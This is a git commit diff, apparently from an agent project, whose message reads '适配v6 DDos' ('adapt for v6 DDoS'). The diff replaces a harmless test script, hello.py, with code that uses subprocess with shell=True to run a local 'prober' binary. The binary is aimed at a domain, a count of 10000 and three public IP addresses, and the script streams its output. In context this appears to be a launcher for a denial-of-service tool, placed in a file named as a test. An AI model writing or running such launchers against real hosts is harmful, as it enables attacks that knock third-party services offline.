diff options
| author | shihaoyue <[email protected]> | 2024-08-23 14:17:01 +0800 |
|---|---|---|
| committer | shihaoyue <[email protected]> | 2024-08-23 14:17:01 +0800 |
| commit | a34bed9d9e52f37d72827067759cb451414f3b03 (patch) | |
| tree | 9bdd2a02f6f41dc686b0b5a737bd69906fa794a7 /agent/apps/code | |
| parent | e327458f5fc01e8c41b7488a3d6a49aee28243b3 (diff) | |
适配v6 DDos
Diffstat (limited to 'agent/apps/code')
| -rw-r--r-- | agent/apps/code/test/hello.py | 31 |
1 files changed, 19 insertions, 12 deletions
diff --git a/agent/apps/code/test/hello.py b/agent/apps/code/test/hello.py index 471796d..e62e8a5 100644 --- a/agent/apps/code/test/hello.py +++ b/agent/apps/code/test/hello.py @@ -1,13 +1,20 @@ -import argparse -import time +import subprocess -parser = argparse.ArgumentParser() -parser.add_argument('-s', '--string', type=str, help="输出到控制台的字符串", required=True) -args = parser.parse_args() -print("hello.py开始执行,执行参数为" + args.string) -f = open("j.txt", "w+", encoding="utf-8") -i = 0 -while(1): - time.sleep(10) - print(i) - i+=1
\ No newline at end of file +proc = subprocess.Popen('/root/yserver/agent/apps/code/test/prober comm.e64.fun 10000 124.221.228.62 198.13.47.39 45.32.24.138', + shell=True, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + universal_newlines=True, + text=True, + encoding='utf-8') + +# for line in proc.stdout: +# print(line) +while proc.poll() is None: + + line = proc.stdout.readline() + if line: + # 发送每行日志到服务器 + print(line) + +proc.stdout.close() |
